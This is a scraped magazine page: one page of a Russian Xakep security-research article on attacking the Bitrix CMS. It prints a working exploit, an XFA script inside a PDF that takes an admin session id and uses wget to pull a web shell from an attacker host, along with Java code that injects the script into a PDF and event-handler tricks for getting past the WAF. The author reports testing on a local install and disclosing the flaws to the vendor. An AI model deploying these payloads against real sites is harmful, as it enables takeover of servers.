18.11.2014 Views

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ВЗЛОМ<br />

Пример XSS, найденной на сайте SecurityLab.Ru<br />

Диалог подтверждения отправки запроса HTTP из<br />

PDF. Не высвечивается при отправке запроса на<br />

тот же домен, на котором расположен PDF<br />

var a = Get("http://targethost:6448/bitrix/admin/<br />

user_admin.php?lang=ru")<br />

var sessid = (Substr(a,At(a,"sessid=")+7,32))<br />

Post("http://targethost:6448/bitrix/admin/php_command_<br />

line.php?mode=frame&lang=ru",Concat("sessid=",sessi<br />

d,"&query=system%28%27wget http://evilhost:6448/s.<br />

txt –O shell.php%27%29%3B"),"application/x-www-formurlencoded")<br />

Для создания PDF-документа можно было воспользоваться триальной<br />

версией Adobe Livecycle Designer (adobe.com/go/trylivecycle), но<br />

дистрибутив весил целых 3 Гб. Поэтому я решил скачать готовый PDF<br />

с каким-нибудь скриптом и просто заменить текст самого скрипта. Для<br />

работы с форматом PDF нашлась прекрасная бесплатная библиотека<br />

iText (itextpdf.com) под Java. Функция для замены скрипта в документе<br />

получилась такая:<br />

public static void replacePDFScript(<br />

String filename, String script)<br />

{<br />

try<br />

{<br />

PdfReader reader = new PdfReader(filename);<br />

XfaForm xfa = new XfaForm(reader);<br />

Document doc = xfa.getDomDocument();<br />

NodeList list = doc.getElementsByTagName("script");<br />

list.item(0).setTextContent(script);<br />

PdfStamper stamper = new PdfStamper(reader,<br />

new FileOutputStream(filename+"_mod.pdf"));<br />

xfa.setDomDocument(doc);<br />

xfa.setChanged(true);<br />

XfaForm.setXfa(xfa, stamper.getReader(),<br />

stamper.getWriter());<br />

stamper.close();<br />

}<br />

catch (Exception e) {<br />

e.printStackTrace();<br />

}<br />

}<br />

Согласись, использовать сие всяко проще, чем скачивать 3 Гб платного<br />

софта. Теперь немного о том, что касается ограничений безопасности<br />

Adobe Acrobat на отправку запросов из документа. Сам PDFдокумент,<br />

ясное дело, может быть открыт как через ActiveX-компонент<br />

Adobe Acrobat в браузере, так и напрямую из локального файла в окне<br />

Acrobat’а. По умолчанию все запросы, которые посылает PDF-документ,<br />

требуют подтверждения со стороны пользователя. Высвечивается окно с<br />

предложением разрешить отправку запросов с домена, на котором расположен<br />

документ. Замечу, что ограничения именно для домена отправителя,<br />

а не как это принято обычно — для домена, куда осуществляется<br />

068<br />

запрос. Если же открывается локальный файл, то санкция устанавливается<br />

на имя файла, что, кстати, может быть использовано для атаки с<br />

подменой содержимого. Но вот если документ открыт через браузер, и<br />

запрос отправляется на тот же домен, на котором расположен документ,<br />

никаких ограничений безопасности не срабатывает! Такой вариант<br />

открытия документа и присутствовал в Битриксе на момент исследования.<br />

Собственно, на этом PoC-эксплоит был готов. Я зашел от имени<br />

нового пользователя в свой локальный Битрикс, на котором проводил<br />

эксперименты, создал заявку в модуле «техническая поддержка» и прикрепил<br />

к ней полученный PDF. Затем перелогинился от администратора<br />

и просмотрел заявку от пользователя, после чего открыл содержащийся<br />

в ней документ. На экране отобразился совершенно чистый белый лист,<br />

никаких предупреждений, никаких сообщений. Результат работы эксплойта<br />

красовался по адресу http://targethost:6448/bitrix/admin/shell.php.<br />

Получилась очень показательная демонстрация атаки CSRF, которая<br />

часто критически недооценивается разработчиками. Если строго подходить<br />

к классификации, уязвимость, конечно, не простая CSRF. Здесь<br />

злоумышленник может изменять заголовки HTTP-запроса, и главное —<br />

работать с ответом сервера.<br />

ÂÀÓ, WAF!<br />

Красивая реализация CSRF через PDF подстегнула проделать аналогичный<br />

трюк с помощью первой обнаруженной уязвимости XSS. Но для<br />

этого необходимо было обойти «проактивную защиту», которая уже была<br />

исправлена с момента моих последних раскопок (см. статью «Сказки<br />

XSSахеризады»). Тут было два вектора атаки — найти способ обхода<br />

фильтрации либо существующих выражений, либо не фильтруемых. Учитывая,<br />

что первый вектор я уже исследовал и показал на СС09, решил<br />

пробиваться по второму. Тут ничего нового не придумаешь, воспользовался<br />

методами, описанными в статье «Сказки XSSахеризады» и полез<br />

в документацию на броузерные HTML. 15 минут раскопок принесли<br />

плоды — под InternetExplorer нашлись два метода onmouseenter и<br />

onmouseleave. Это аналоги фильтруемых WAF исключений onmouseover,<br />

onmouseout. То, что доктор прописал :). Чтобы сделать атаку кроссбраузерной,<br />

пришлось еще немного порыться в документации... и в<br />

итоге нашелся интересный метод onselectstart, который работал и в IE,<br />

и в Chrome. Причем в случае с Chrome ивент срабатывает просто при<br />

клике, а для IE требуется еще провести по тексту, как при выделении.<br />

На этом этапе уже ничто не мешало осуществить второй вариант CSRF<br />

и, опять-таки, получить веб-шелл. К сожалению, день уже заканчивался,<br />

с момента начала исследования прошло семь часов, оформить все<br />

найденное в приличные advisory я уже не успевал, поэтому просто пошел<br />

спать.<br />

ÀÍÒÐÀÊÒ È ÒÐÅÒÈÉ ÀÊÒ<br />

Через несколько дней удалось снова выкроить время и вернуться к<br />

исследованию движка. Первым делом был написан advisory и отправлен<br />

разработчикам. Нехитрый список уязвимостей содержал CSRF via<br />

PDF, XSS в тэге [URL] и новые методы обхода WAF. Теперь надо было<br />

написать пример для заливки шелла через две уязвимости (XSS+WAF<br />

XÀÊÅÐ 09 /140/ 10

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!